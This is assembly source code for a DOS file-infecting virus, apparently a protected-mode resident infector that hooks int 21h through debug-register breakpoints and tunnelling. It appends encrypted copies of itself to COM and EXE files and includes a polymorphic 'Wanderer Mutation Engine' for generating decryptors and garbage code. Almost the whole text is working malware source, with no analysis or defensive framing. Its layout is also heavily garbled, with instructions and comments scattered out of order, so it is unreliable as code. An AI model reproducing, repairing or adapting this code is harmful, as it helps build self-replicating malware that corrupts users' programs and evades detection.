call encrypt_infection_routine ; Decrypt tunnel_i21 ax,0DE00h ; VCPI installation check call VCPI ; Doesn't return if not installed mov saved_sp,sp mov saved_ss,ss mov di,offset(pages_4K) mov cx,4 ; Allocate 4 pages (4K per page) ax,0DE04h call VCPI [di],edx

; VCPI - Allocate a 4K page ; EDX = physical address of page ; == add di,4

l_alloc_page bx,cs add bx,100h ; Align data area on page bl,bl bh mov es,bx ; Base address of directory page mov ds:addr_dir_page,bx ax,ax di,di mov cx,(4096+4096)/2 ; 2 pages rep stosw ; Clear directory page area (4K) ; and page table (4K) ax,0DE01h ; VCPI - Get Protected Mode Interface ; ES:DI -> 4K page table buffer ; DS:SI -> three descriptor table ; entries in GDT. First ; becomes code segment

; ;

xor

push pop xor

mov inc mov di,di mov call cs ds mov si,si mov xor

l_entry: mov cmp jnz movzx shl mov mov

ds,bx bh es,bx

descriptor, other two for use by main control prog. ; DS := segment of dir page table ; add 100h ; ES := segment of page table

si,100h+VCPICS_SEL VCPI

ds:pm_ep,ebx

; GDT in page table + 100h

; EBX = protected mode EP in code seg.

cx,400h bx,bx

; ; ; eax,es:[si] ; eax,0 ; next_page_entry ; eax,bx ; eax,0Ch ; al,67h ; es:[si],eax ;

4GB, all addressable memory BX in [0..3FFh] Map the memory in the page table Read page table entry Invalid (available) entry? No? then jmp Page entry Page frame address Dirty, Accessed, User, Write, Present Store page in page table

next_page_entry: inc

mov

push pop mov movzx

push push

xor

add bx loop mov esi,eax mov shr mov mov call sidt sgdt mov es ds cx,cs ecx,cx shl mov mov mov

ecx ebx call mov pop pop mov

si,4

; Next entry

l_entry eax,ds:page_1

; Map page_1 in page table

al,67h ; esi,0Ah ; es:[esi],eax ; ds:virus_cs,cs setup_system_regs qword ptr ds:IDT qword ptr ds:GDT esi,100h ;

Dirty, Accessed, User, Write, Present Calculate page number in page table Store page in page table

GDT (addr.dir.page table + 100h)

ecx,4 ax,CODE_SEL ebx,0FFFFh dx,0000000010011010b

build_descriptor ax,DATACS_SEL ebx ecx dx,0000000010010010b

call mov ecx,ecx mov mov

build_descriptor ax,ALLMEM_SEL

call mov mov

build_descriptor ax,TSS_SEL cx,ds

ebx,0FFFFFFFFh dx,1000000010010010b

; Segment Base (CS) ; Segment Limit (64K) ; Access rights: Executable ; code, readable, present, ; DPL 0

; Limit (64K) ; Access rights: Data, writable, ; present, DPL 0

; Limit (4GB: granularity on) ; Access rights: Data, writeble, ; present, granularity, DPL 0

movzx push

push pop cli mov movzx mov shl int

ofs_i1 seg_i1 save_ss save_sp

ecx,cx shl ecx add mov mov call pop add cs ds mov

ecx,4

; Addr. directory page table

ecx,10h dx,0000000010001001b

; TSS in dir.page table + 10h ; Access rights: System, DPL 0, ; available 386 TSS, present ; Limit

ebx,67h build_descriptor ecx ecx,100h

; Addr. directory page table ; GDT in dir.page table + 100h

ds:base_gdt,ecx

ax,cs esi,ax ax,0DE0Ch esi,4 add esi,offset(system_registers) 67h ; VCPI - Switch to protected mode ; ESI = linear address in first megabyte of ; values for system registers ; Return: interrupts disabled ; GDTR, IDTR, LDTR, TR loaded jmp $

dw dw dw dw

0 0 0 0

int_1: push push push mov

pop pop pop iret tunnel_i21: mov int

mov mov int push push

cld pushf pushf pop or

bp ds si bp,sp lds cmp je si ds bp

si,[bp+6] word ptr [si],9090h found_i21_entry

; Get return address from stack ; NOP+NOP? (int 21h entry point) ; Yes? then jmp

ax,3501h 21h ; Get int 1h vector (trace) mov ds:ofs_i1,bx mov ds:seg_i1,es dx,offset(int_1) ah,25h 21h ; Set new int 1h cs cs mov ds:save_ss,ss ; Save stack mov ds:save_sp,sp

ax ax,100h

; Read flags ; Set bit trace on

push xor mov mov push pop popf

xor mov mov mov movsw movsw pop push jmp

ax ax,ax ds,ax ah,30h cs es

; DS := 0 ; Get DOS version

; Activate int 1h tunneler call dword ptr ds:[21h*4] pop es ax,ax ds,ax ; DS := 0 di,offset(ofs_i21) si,21h*4

ds cs restore_i1

found_i21_entry: mov mov mov lodsw pop restore_i1: xor mov mov

movsw pop ret

mov ss,cs:save_ss sp,cs:save_sp si,[si+8] lodsw cs:ofs_i21,ax ds mov

; Restore stack

; Store int 21h entry point

ds:seg_i21,ax

ax,ax es,ax ; ES := 0 di,1h*4 mov si,offset(ofs_i1) movsw ; Restore int 1h es

; PM Entry point pm_entry_point: mov mov mov mov mov mov mov movzx inc shr xor bx,bx xor eax,eax l_next_gdt_entry: add add cmp jne mov mov mov mov call

ax,DATACS_SEL ss,ax sp,offset(_stack) es,ax ax,ALLMEM_SEL ds,ax esi,es:GDT_base ecx,es:GDT_limit ecx ecx,3

esi,8 bx,00001000b eax,[esi+4] next_gdt_entry es:virus_selector,bx ebx,0FFFh ecx,es:page_1 dx,0000000010011011b build_descriptor

; Stack descriptor ; Extra data descriptor ; Data descriptor

; First entry unused ; Number of entries in GDT

; ; ; ;

Next descriptor Next selector Available entry? No? then jmp

; Limit 4K ; Access rights: Code, Readable, ; present, accessed, DPL 0

xor

add esi,8 ecx,ecx mov ebx,0FFFFFFFFh mov dx,1000000010010010b call jmp

build_descriptor search_pagetable

loop

l_next_gdt_entry

jmp

no_descriptor

; Next descriptor ; Limit (4GB : granurality on) ; Access rights: Data, Writable, ; present, DPL 0

next_gdt_entry: no_descriptor: ; Descriptor not found in GDT

search_pagetable: mov esi,1024*1024 ; l_search_pagetable: add esi,4*1024 ; cmp dword ptr [esi],67h ; jne l_search_pagetable ; cmp dword ptr [esi+4],1067h ; jne l_search_pagetable ; mov es:pagetable,esi movzx eax,word ptr ds:[21h*4] ; movzx ebx,word ptr ds:[21h*4+2] shl ebx,4 ; add eax,ebx mov es:i21h_ep,eax ; call set_breakpoints mov es:infecting,0 ; mov eax,es:page_1 ; mov ebx,eax mov al,67h shr ebx,0Ah mov [esi][ebx],eax mov di,offset(orig_i1) mov ecx,1 ; mov ax,offset(pm_int_1) call build_idt_descriptor add di,6 ; mov ecx,9 ; mov ax,offset(pm_int_9) call build_idt_descriptor push es push ds pop es pop ds xor esi,esi mov edi,ds:page_1 cld mov ecx,1024 db 0F3h,66h,67h,0A5h ; ; movzx eax,saved_sp mov bx,ds:virus_cs push cx push bx ; push cx push bx ; push cx push bx ; push cx push bx ; push cx

1MB 4KB (a page) Page for address 0 ? No? then jmp Page for address 4096 ? No? then jmp Get int 21h vector Calculate physical address Save old int 21h Flag: can infect files Insert vir page in page table

Int 1h (trace)

offset(orig_i9) Int 9h

rep movsd (TASM FIX) Copy (4k) to virus page

GS FS DS ES

push push pop pop

push push movzx

push es ds es ds push pushfd cx push 0 push esp,sp mov call

saved_ss

; SS

eax

; ESP ; Flags

bx

; CS

offset(free_virmem)

; EIP

ax,0DE0Ch ; Switch to protected mode (v86 mode) fword ptr cs:pm_ep

pm_int_9: push mov

eax eax,dr7 and cmp je call check_ctrlaltdel: in cmp jne call mov and cmp jne xor mov exit_pm9: pop eax jmp exit_pm1: pop

pm_int_1: push

pop iretd

eax jmp

eax mov test jz test jz xor mov eax

ax,0000001100001010b ax,0000001100001010b check_ctrlaltdel set_breakpoints al,60h al,53h exit_pm9 set_ds al,ds:[417h] al,0Ch al,0Ch exit_pm9 eax,eax dr7,eax

; ; ; ;

Check breakpoints Removed? No? then jmp else restore them

; Read scan code from keyboard ; DEL key? ; No? then jmp ; Get keyboard status (0:417h) ; CTRL & ALT pressed? ; No? then jmp ; Remove breakpoints if reset

fword ptr cs:orig_i9

fword ptr cs:orig_i1

eax,dr6 al,3 exit_pm1 al,2 dos_bp eax,eax dr7,eax

; ; ; ; ; ; ;

Test breakpoint number Breakpoint 0 or 1? No? then jmp Breakpoint 1? Yes? then jmp Else breakpoint 0 Remove breakpoints

eax,eax dr6,eax

; Clear dr6 (never cleared by CPU)

dos_bp:

pop

xor mov eax or cmp jne mov

byte ptr [esp+0Ah],1 ; Set RF in stack ax,0BABAh ; Residency check? check_function ; No? then jmp ax,0FACCh ; DOS will try to exec function 0FACCh

; ;

but it doesn't exist, then DOS will return 0FA00h

_iretd: iretd check_function: cmp je cmp je cmp jne test jne

ax,3506h check_patch ax,4B00h check_prev_inf ah,3Dh _iretd al,0Fh _iretd

; ; ; ; ; ; ; ;

Get int 6 vector? Yes? then jmp Exec file? Yes? then jmp Open file? No? then jmp For reading? No? then jmp

cmp je

cs:infecting,1 kill_copy4infection

check_prev_inf: ; Exist a copy for infection? ; Yes? Kill it (finished work)

pushad mov xor

call set_ds es,ax mov ecx,cs:page_1 ebp,ebp mov esi,90h

; Segment 90h (phys. 90000h)

l_map_page234: mov call db dd

mov

edx,cs:page_2[ebp*4] map_page 66h,67h,89h,9Ch,0A9h offset(old_pages)

inc esi inc bp cmp bp,3 jne l_map_page234 mov esi,cs:page_1 edi,90000h mov ds:[esi+infecting],1 mov [esi+STACK_SIZE],esp

; ; ; ; ; ; ;

(TASM FIX) mov [ecx+old_pages][ebp*4],ebx Store old page Next 4KB Next page Pages 2,3 and 4 in page table? No? then jmp

; moc [esi+_esp],esp (TASM FIX)

cld mov db mov mov mov

popad mov

ecx,400h 0F3h,66h,67h,0A5h

ax,ss ds,ax esi,esp mov edi,cs:page_1 mov ecx,STACK_SIZE/4 db 0F3h,66h,67h,0A5h

; 4KB ; rep movsd (TASM FIX) ; Copy code

; rep movsd (TASM FIX) ; Copy stack

eax,9000h push eax ; push eax ; push dword ptr [esp+20h] ; push dword ptr [esp+20h] ; push eax ; db 66h ; push 0FFEh ; dw 0 ; push 23000h ; push eax ; mov eax,offset(infect_file) push eax ; iretd ; Jump to

GS FS DS ES SS (TASM FIX) PUSH 0FFFEh (dword) ESP (TASM FIX) EFLAGS (VM 8086, RPL 3) CS EIP infect_file task, pm level 3

check_patch: pushad mov add mov

cld search_code: mov mov search_patch: dec

add

bx,cs mov bx,8 es,bx mov mov

ds,bx

; DS = CS

esi,offset(memory_patch) bp,2 ; Number of patches

edi,90000h eax,[si] edi jz cmp jne movzx mov cmp jne movsx edi,ebx movzx add db jmp

skip_patch es:[edi],eax search_patch ebx,byte ptr [si+4] edx,[si+5] es:[edi][ebx],edx search_patch ebx,byte ptr [si+9]

; Maybe the code it's searching ; No? then jmp

; Code found? ; No? then jmp ; Offset to the patch

ecx,byte ptr [si+0Ah] ; Number of bytes to patch si,start_patch1-memory_patch 0F3h,67h,0A4h ; rep movsb (TASM FIX) ; Patch it next_patch

skip_patch: add

movzx si,ax add

ax,[si+0Ah]

; Point next patch

dec jnz jmp

bp search_code exit_21h

; Another patch? ; Yes? then jmp

db db db db db

83h, 0c6h, 32h, 81h 0Ah 68h, 4Eh, 9Ch, 9Ah 0Dh end_patch1-start_patch1

; ; ; ; ;

db

0EBh, 3

; Patch code

db db db db db

8Dh, 56h, 0D6h, 3 5 36h, 89h, 7, 8Bh 0FCh end_patch2-start_patch2

; ; ; ; ;

db db

0D1h, 0E6h, 83h, 0FEh, 0Ah, 75h, 2, 33h, 0C0h, 89h 42h, 0D6h, 0D1h, 0EEh, 4, 6, 93h ; Patch code

si,start_patch1-memory_patch

next_patch:

memory_patch: ; Patch #1 Bytes to search (1) Offset to bytes (2) Bytes to search (2) Offset to the patch Patch size

start_patch1: end_patch1: ; Patch #2 Bytes to search (1) Offset to bytes 2 Bytes to search (2) Offset to the patch Patch size

start_patch2:

end_patch2:

infect_file: mov mov push pop cld

xor di,dx cx,41h ds es

ax,ax

repne jcxz jmp

scasb ; Search end of path jmp_return_dpl0 ; Found? No? then jmp check_extension ; Yes? then jmp

jmp

return_dpl0

jmp_return_dpl0:

check_extension: and

mov ax,[di-4] ax,0F0Fh cmp ax,('OC' and 0F0Fh) je executable_file cmp ax,('XE' and 0F0Fh) je executable_file jmp return_dpl0

executable_file: mov si,di sub si,6 std mov cx,7 xor bx,bx l_do_crc: lodsb and al,1Fh add bl,al loop cld cmp jne jmp no_skip_file: mov call xchg push push pop pop call mov

and

mov call

; Read file extension ; ; ; ;

(*.CO?) COM file? Yes? then jmp (*.EX?) EXE file? Yes? then jmp

; Make CRC with filename

l_do_crc bl,3Fh no_skip_file return_dpl0

; Skip filename (CRC) ? ; No? then jmp ; Yes? then jmp

ax,3D02h int_21h ; Open file I/O ax,bx ; BX := handle cs cs ds es initialize_random_seed ax,5700h call int_21h ; Get file date & time mov filedate,dx ; Save mov filetime,cx cl,1Fh cmp cl,11h ; Already infected? je close_file ; Yes? then jmp and byte ptr filetime,0E0h ; Mark infection or byte ptr filetime,11h mov dx,offset(buffer2) ah,3Fh mov cx,BUFFER_SIZE int_21h ; Read cmp ax,BUFFER_SIZE ; Too small? jne close_file ; Yes? then jmp

call

push mov

call pop mov

go_end_file mov ds:filesize_l,ax ; Save original file size mov ds:filesize_h,dx cmp ax,0F000h ; Too big? ja close_file ; Yes? then jmp cmp ds:signature,'ZM' ; EXE file? je infect_exe ; Yes? then jmp mov ds:host_type,0 ; It's a COM file call setup_engine ; Encrypt virus code cx ah,40h mov dx,offset(buffer2) call int_21h ; Write original code (end of file) go_start_file cx ah,40h mov dx,BUFFER_SIZE call int_21h ; Write encrypted virus code

restore_fdate:

mov

mov cx,filetime mov dx,filedate ax,5701h call int_21h

; Restore file date and time

close_file: call return_dpl0: mov

mov ah,3Eh int_21h

; Close file

ax,4B00h int 21h

; Re-enter virus int 21h to kill this ; copy done for replication

infect_exe:

xor

xor

call

cmp jb db dw db

ds:pages,5 close_file 83h, 3Eh offset(max_mem) 0FFh

jne mov ax,ax xchg

close_file ds:host_type,1

; Too small? ; Yes? then jmp ; (TASM 2.5 FIX. UNNECESSARY IN 4.0) ; ; ; ;

cmp ds:max_mem,0FFFFh Needs memory? TSR or exec files? Yes? then jmp It's an EXE file

ax,ds:relo_items ; Numbers of relocation items ; Set it to 0 ds:reloc_items,ax ax,4096 ; Too much items? close_file ; Yes? then jmp ax,ds:ofs_reloc ; Offset of 1st reloc. item ds:ofs_relocitems,ax eax,dword ptr ds:filesize_l ecx,ds:header_size ecx,4 ; Calculate header size eax,ecx ; Total size - header size eax,1000h ; Loadable module too small? close_file ; Yes? then jmp si,offset(val_ip) di,offset(file_exeIP) ; Save Exe IP ; Save Exe CS

mov cmp ja mov mov mov movzx shl sub cmp jb mov mov movsw movsw ax,ax mov di,offset(val_ip) stosw ; Set to 0 stosw ; Set to 0(vir code starts after header) go_start_file

push

pop push

pop push

call pop

go_start_file: mov xor xor

mov cx,100h mov ah,40h mov dx,offset(buffer2) call int_21h ; Save modified header xor cx,cx mov dx,ds:header_size shl dx,4 ; Calculate size header dx mov ax,4200h call int_21h ; Lseek after header mov dx,offset(buffer2) mov ah,3Fh mov cx,BUFFER_SIZE call int_21h ; Read original code call setup_engine ; Encrypt virus code dx cx xor cx,cx mov ax,4200h call int_21h ; Lseek after header mov ah,40h cx cx mov dx,BUFFER_SIZE call int_21h ; Save encrypted virus code after header go_end_file cx mov dx,offset(buffer2) mov ah,40h call int_21h ; Save original code (end of file) jmp restore_fdate

ax,4200h dx,dx cx,cx call int_21h

; Lseek start

dx,dx cx,cx ax,4202h call int_21h

; Lseek end

ret go_end_file: xor xor mov ret int_21h: pushf ofs_i21 seg_i21 mov

db 9Ah dw 0 dw 0 jnc no_i21_error ax,4B00h int 21h

no_i21_error: ret

; Prepare to call mutation engine setup_engine: push bx

; call far int 21h

; If error then re-enter virus int 21h ; to remove the virus copy done for ; infection

mov

mov pusha

ax,0FFFFh call get_n_random ; Get random mask [0..0FFFEh] mov ds:xor_mask,ax call encrypt_infection_routine ; Encrypt mov si,100h ; Always starts at DS:100h (EXE & COM) mov bp,si mov cx,VIRUS_SIZE mov di,offset(buffer1) mov ax,160h bx,si push push call mov pop pop

ds:random1 ds:random2 mutation_engine ds:size_in_file,cx ds:random2 ds:random1

call call bx

mutation_engine ; Encrypt virus code encrypt_infection_routine ; Decrypt inf. routine

; Encrypt to calculate the ; increase size in file

popa

pop ret

encrypt_infection_routine: ; Encrypt/decrypt the infection routine pusha mov si,offset(infect_file) mov cx,offset(return_dpl0)-offset(infect_file) mov ax,ds:xor_mask l_enc: xor [si],ax inc si inc si loop l_enc popa ret

filesize_l filesize_h size_in_file xor_mask file_exeIP file_reloCS reloc_items ofs_relocitems

dw dw dw dw dw dw dw dw

0 0 0 0 0 0 0 0

; Wanderer Mutation Engine ; Parameters : ; DS:SI -> code to encrypt ; ES:DI -> buffer ; CX -> size ; BP -> delta offset (runtime offset) ; AX -> max size of decryptor ; BX -> min size of decryptor ; Return : ; CX -> size of decryptor + data encrypted mutation_engine: mov mov mov mov

enc_buffer,di delta_ofs,bp mask_dec_ofs,0 end_encryptor,0C3h

; Addr. buffer ; Addr. source code ; RET

push pop

mov

mov

xchg div sub xor mov

shr

xor l_gen_op: push

pop

mov cs es sub call add mov add rep ax,2 call mov ax,5 call add ax,cx mov cl cl,4 mov ah,ah mov al,3 call inc or mov call mov call mov add mov mov mov mov mov add call call mov mov call shr call mov mov call cx,1 call mov ch,ch cx call call call cx loop mov or

code_size,cx

; Number of bytes to encrypt

ax,bx get_n_random ax,bx decryptor_size,ax di,ax movsb

; Decryptor size in [BX..AX] ; [0..AX-BX] ; [BX..AX]

get_n_random ptr_select_reg,ax

; [0,1]

get_n_random al,0Ah

; [0..4] ; [0Ah..0Eh]

ax,decryptor_size

operations,cl

; Number of encryption ops

max_garbage,ax

; Max garbage per operation

get_n_random ; al ; ds:op_dec_counter,al ; ds:reg_counter,al get_garbage_number di,enc_buffer generate_garbage bx,offset(register_table) bx,ptr_select_reg ; al,[bx] ; indexreg_op1,al ; dl,[bx+2] ; ds:indexreg_op2,dl ; bp,decryptor_size bp,delta_ofs get_garbage_number generate_mov ; dl,ds:reg_counter bp,code_size get_garbage_number cx,1 ; generate_mov ; ds:in_loop,1 ofs_loop_begin,di ; get_garbage_number generate_garbage cl,operations

[0..2] AL in [1..3] Opcode for decreasing counter

Select registers in table Register 0 (SI) or 1 (DI) Index for operations Register 2 (SI) or 3 (DI) Index register

Load a reg with delta-ofs

Decrypt words Load a reg with # of loops Start of loop code

; Number of operations

generate_operation get_garbage_number generate_garbage l_gen_op al,40h al,ds:indexreg_op2

stosb call

; Space for decryptor in buffer ; Copy code to encrypt

get_garbage_number

; Gen. inc index reg (SI | DI)

inc inc push movsw movsw movsw pop add neg

code_loop: op_dec_counter

call mov sub cx cx si mov

generate_garbage cx,di cx,ofs_loop_begin

; End loop ; Calculate loop size

si,offset(code_loop)

; Generate end-loop code

si cx,4 cx mov jmp

[di-2],cx fill_with_garbage

; Jmp to begin of loop

db jz db

48h end_code_loop 0e9h,0,0

; dec reg_counter: DEC CX | DX | BX ; jmp to start of decryption loop

end_code_loop: ;;;;

Unused code ! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov al,0E2h ; LOOP opcode stosb ; Store it xchg al,cl neg al ; loop jmp stosb ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fill_with_garbage: mov add sub mov call push di mov mov add mov or or mov sti db mov_pointerreg_bx db l_encrypt_code: cli call sti inc_pointerreg db loop pop cx mov sub add mov mov mov and and and

cx,decryptor_size cx,enc_buffer cx,di ds:in_loop,0 generate_garbage

; Fill buffer with garbage ; Loop finished

cx,code_size bx,decryptor_size bx,enc_buffer al,ds:indexreg_op2 ds:mov_pointerreg_bx,al ds:inc_pointerreg,al ax,ds:encryptor_ptr 89h 0D8h

; mov index register,bx

ds:encryptor_ptr 40h l_encrypt_code

; inc index register

dx,enc_buffer cx,dx cx,code_size ds:encryptor_ptr,offset(end_encryptor) ; Reset buffers ds:ofs_endencryptor,offset(end_encryptor) al,0F8h ds:mov_pointerreg_bx,al ; Clear registers ds:inc_pointerreg,al ds:op_dec_counter,al

ret register_table: db db db db generate_operation: mov ax,7 call shl mov add mov cmp ja mov or mov mov or scasw cmp jb mov sub ret

4 5 6 7

; ; ; ;

SI DI SI DI

get_n_random ; [0..6] ax,2 ; AX in [0,4,8,...,24] si,offset(operation_table) si,ax ; Select operation bx,ds:encryptor_ptr al,20 ; Needs an immediate address? get_immaddr ; Yes? then jmp cx,[si] ; Get decryptor opcode ch,indexreg_op1 ; Insert op register [di],cx ; Add to decryptor cx,[si+2] ; Get encryptor opcode ch,indexreg_op1 ; Insert op register ; SI+2, DI+2 al,12 ; Inst. needs a mask? get_inst_mask ; Yes? then jmp [bx-2],cx ; Add to encryptor ds:encryptor_ptr,2 ; Next encryptor entry

get_inst_mask: mov call mov mov stosb mov mov sub

al,0FFh get_n_random ; Get mask [0..0FEh] mask_dec_ofs,di ; Save current offsets mask_enc_ofs,bx ; Add mask to decryptor [bx-3],cx ; Add instruction to encryptor [bx-1],al ; Add mask to encryptor ds:encryptor_ptr,3

ret get_immaddr:

mov mov

dec mov

mov

no_mask_inst:

cmp mask_dec_ofs,0 ; Any mask instruction? jz no_mask_inst ; No? then jmp mov bx,ds:ofs_endencryptor ; Add inst at end of encryptor ax,[si] stosw ; Add instruction to decryptor ax,[si+2] mov [bx],ax ; Add instruction to encryptor mov ax,mask_dec_ofs ; Calculate mask address in decryptor add ax,delta_ofs sub ax,enc_buffer stosw ; Add address to instruction mov ax,mask_enc_ofs ; Calculate mask address in encryptor ax mov [bx+2],ax ; Add to encryptor al,0FFh call get_n_random ; [0..0FEh] stosb ; Value for adding to the mask [bx+4],al add ds:ofs_endencryptor,5 ; New end of encryptor mov byte ptr [bx+5],0C3h ; Add a RET at end mov mask_dec_ofs,0

ret operation_table: db db

80h,30h 80h,30h

; xor byte ptr [index],?? ; xor byte ptr [index],??

db db

80h,0 80h,28h

; add byte ptr [index],?? ; sub byte ptr [index],??

db db

0C0h,0 0C0h,8

; rol byte ptr [index],?? ; ror byte ptr [index],??

db db

0D0h,0 0D0h,8

; rol byte ptr [index],1 ; ror byte ptr [index],1

db db

0F6h,18h 0F6h,18h

; neg byte ptr [index] ; neg byte ptr [index]

db db

0FEh,0 0FEh,8

; inc byte ptr [index] ; dec byte ptr [index]

db db

80h,6 80h,6

; add byte ptr [imm],?? ; add byte ptr [imm],??

mov call mov xchg aad add lodsb shl xchg call ret

ax,4 get_n_random ; [0..3] si,offset(mov_table) al,ah 3 ; Select mov type si,ax

dw dw

offset(mov_r1) offset(mov_r2)

generate_mov:

ax,1 ; Check if needs to use routine 1 or 0 ax,bx [bx+offset(mov_select)]

mov_select:

mov_r1: movsw or xchg stosw call ret mov_r2:

; Generates: mov reg(dl),value(bp) ; Store instruction opcodes [di-1],dl ; Set destination register ax,bp ; Store delta offset generate_garbage

; Generates: (xor | sub) reg(dl),reg(dl) ; (add | xor | or) reg(dl),value(bp) push push mov call shl add xchg movsw or shl or

si dx ax,2 get_n_random ; 0 or 1 ax,1 ; Select instruction (clear register) ax,offset(reg0_table) ax,si ; Store instruction zero register [di-1],dl ; Destination register dl,3 [di-1],dl ; Source reg. (same as destination)

shr push push call pop pop pop pop movsw or xchg stosw call ret

cx,1 cx bp generate_garbage bp cx dx si

db db db db db db db db

0 0C7h,0C0h 1 81h,0C8h 1 81h,0C0h 1 81h,0F0h

; ; ; ; ; ; ; ;

db db

29h,0C0h 31h,0C0h

; SUB reg,reg ; XOR reg,reg

ax,max_garbage get_n_random

; [0..max_garbage-1]

cx,cx do_garbage

; Generate garbage? ; Yes? then jmp

[di-1],dl ax,bp

; Store instruction ; Destination register ; Store delta offset

generate_garbage

mov_table: Use mov_r1 MOV reg,imm Use mov_r2 OR reg,imm Use mov_r2 ADD reg,imm Use mov_r2 XOR reg,imm

reg0_table:

get_garbage_number: mov call xchg ax,cx ret generate_garbage: and jnz ret do_garbage: mov l_select_entry: mov ax,1Fh call mov dl,al inc process_table_entry: mov cmp jne mov jmp check_entry: mov

dec

dh,al and cbw and jz dl shr

si,offset(garbage_table)

get_n_random

; [0..1Eh]

dl

; DL in [1..1Fh]

al,[si] ; Read entry al,4Eh ; End of table? check_entry ; No? then jmp si,offset(garbage_table) process_table_entry

al,0Fh dl,dl generate_block

; ; ; ;

Get number of opcodes AH:=0 (b'cos AL<80h) Generate this instruction block? Yes? then jmp

dh,4

; Calculate next table entry address :

add inc inc

add si,ax si si jmp

generate_block: push cx sub test pop cx jne mov mov cmp

mov

ja bh,bl test jne cmp je

al,dh

;

#opcodes + #patches + 2

process_table_entry

cx,ax ch,80h

; Sub instruction size from garbage ; Instruction too big?

l_select_entry ; Yes? then jmp (don't generate) ds:garbagetogen,cx ; Remaining garbage bl,[si+1] ; Read block flags ds:jmp_ofs,bl ; Allowed instruction? (don't allow ; cond.jmp inside another cond.jmp) l_select_entry ; No? then jmp bl,40h loop_ok ds:in_loop,1 l_select_entry

; ; ; ;

Can be in Yes? then Is in the Yes? then

the decryptor loop? jmp loop? jmp

loop_ok: push mov call pop

push push xor mov shr inc push push

pop pop

l_do_patches: inc mov

mov mov shr mov

done_patches:

ax ax,3Fh and bl,al get_n_random cmp bl,al ax jb l_select_entry inc si si cx bx,bx bl,dh and bl,0F0h bl,4 bx mov cx,ax si di add si,bx rep movsb di si mov cx,bx dec cx jcxz done_patches si mov dl,al and cbw bp,ax al,dl and al,3 bx,ax add call loop

; Get block probabilities ; Generate block? ; No? then jmp

; get # of patches

; # of opcodes

; Generate block

; # of patches ; Any patch? ; No? then jmp

al,[si]

; Read patch from table

al,0Fh

; Get byte to patch

al,0F0h

; Get function to use

bx,offset(function_table) word ptr [bx] ; Call function l_do_patches

pop pop mov

cx si al,dh and

al,0Fh

; Number of opcodes

shr sub add add add inc mov and jz test jnz

dh,4 cx,ax di,ax al,dh si,ax si al,ds:jmp_ofs al,al all_garbage? al,80h all_garbage?

; ; ; ; ; ;

add mov sub mov

; ; ; ; ; cx,di ; di,previous_ofs ; cx,di ; ds:jmp_ofs,0

and jz jmp

cx,cx exit_garbage l_select_entry

; All garbage generated? ; Yes? then jmp ; No? then jmp

mov

previous_ofs,di

cbw Number of patches Sub generated # from total garbage Inc buffer pointer opcodes+patches SI points to next table entry

Any jmp? No? then jmp Generating a jump? Yes? then jmp else jmp is finished garbage to gen + current offset Save current offset Sub jmp displacement from garbage

all_garbage?:

exit_garbage: ret

function_table: F_G_BYTE

dw F_I_REG_PRESERVE_MODRM dw F_I_RUNTIME_OFS dw F_I_LAST_REG_SRC dw F_I_LAST_REG_DEST dw

= 0 * 16 offset(generate_byte_word) = 1 * 16 offset(insert_op_reg) = 2 * 16 offset(insert_reg) = 3 * 16 offset(insert_modrm) = 4 * 16 offset(insert_rm) = 5 * 16 offset(add_0_5) = 6 * 16 offset(insert_regrmmod) = 7 * 16 offset(generate_jxx) = 8 * 16 offset(generate_byte_word) = 9 * 16 offset(insert_reg_preserve_modrm) = 10 * 16 offset(insert_runtime_ofs) = 11 * 16 offset(insert_last_reg_src) = 12 * 16 offset(insert_last_reg_dest)

generate_byte_word: mov call

al,0FFh get_n_random

dw F_I_OP_REG dw F_I_REG dw F_I_MODRM dw F_I_RM dw F_ADD_0_5 dw F_I_REGRMMOD dw F_G_JXX dw F_G_WORD

; [0..0FEh]

mov test jz mov call mov

es:[di+bp],al dl,80h ret_gen_b_w al,0FFh get_n_random es:[di+bp+1],al

; Store byte ; Generating word? ; No? then jmp ; [0..0FEh] ; Store another byte

ret_gen_b_w: ret insert_mod: mov call and mov shr or or

al,0F0h get_n_random al,80h ah,al al,1 al,ah es:[di+bp],al

; [0..0EFh] ; AL:=(80h or 0) ; ; ; ;

AL:=(40h or 0) AL:=(0C0h or 0) 0 -> register index 0C0 -> register to register

ret insert_reg: mov call and cmp je cmp je push and cmp pop je or mov ret

al,0F0h get_n_random al,7 al,ds:reg_sp insert_reg al,ds:indexreg_op2 insert_reg ax al,3 al,ds:reg_counter ax insert_reg es:[di+bp],al unused_reg,al

mov call add ret

al,6 get_n_random es:[di+bp],al

; [0..5]

mov call and cmp je or ret

al,80h get_n_random al,00000111b al,00000110b insert_rm es:[di+bp],al

; ; ; ;

call call ret

insert_mod insert_rm

call shl call call ret

insert_reg byte ptr es:[di+bp],3 insert_rm insert_mod

; ; ; ; ; ;

[0..0EFh] Select register SP ? Yes? then jmp Used as index ? Yes? then jmp

; Used as counter ? ; Yes? then jmp ; Insert register ; Save for later use

add_0_5:

insert_rm: [0..7Fh] AL in [0..7] immediate address? Yes? Skip it

insert_modrm:

insert_regrmmod: ; Register

insert_op_reg: mov call shl or call ret

al,0Fh get_n_random al,3 es:[di+bp],al insert_reg

; [0..0Eh]

mov call or

al,10h get_n_random es:[di+bp-1],al

; [0..0Fh]

mov dec dec call and mov cbw pusha mov or mov add inc call and popa ret

ax,ds:garbagetogen ax ax get_n_random ax,3Fh es:[di+bp],al

; Operation ; ADD, OR, ADC,...

generate_jxx:

cx,ax al,80h ds:jmp_ofs,al di,bp di generate_garbage ds:jmp_ofs,7Fh

al,unused_reg es:[di+bp],al

insert_runtime_ofs: mov sub add add ret

ax,di ax,enc_buffer ax,delta_ofs es:[di+bp],ax

insert_last_reg_dest: mov shl or ret

al,unused_reg al,3 es:[di+bp],al

; Garbage table format : ; Each entry: ; ; ABh

; [0..AX-1] ; jmp offset in [0..3Fh] ; Write offset

; Flag: generating cond. jmp

; Clear flag

insert_reg_preserve_modrm: mov bl,es:[di+bp] mov byte ptr es:[di+bp],0 call insert_reg shl byte ptr es:[di+bp],3 or byte ptr es:[di+bp],bl ret insert_last_reg_src: mov or ret

; JO,JNO,JB,JNB,JE,JNE,JBE,JA, ; JS,JNS,JP,JNP,JL,JLE,JG ; Don't jmp out of garbage code

; Read mod, r/m

; Insert register ; Previous mod, r/m

; Insert register

; Destination offset ; Offset in buffer ; Offset in runtime

; Insert register

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

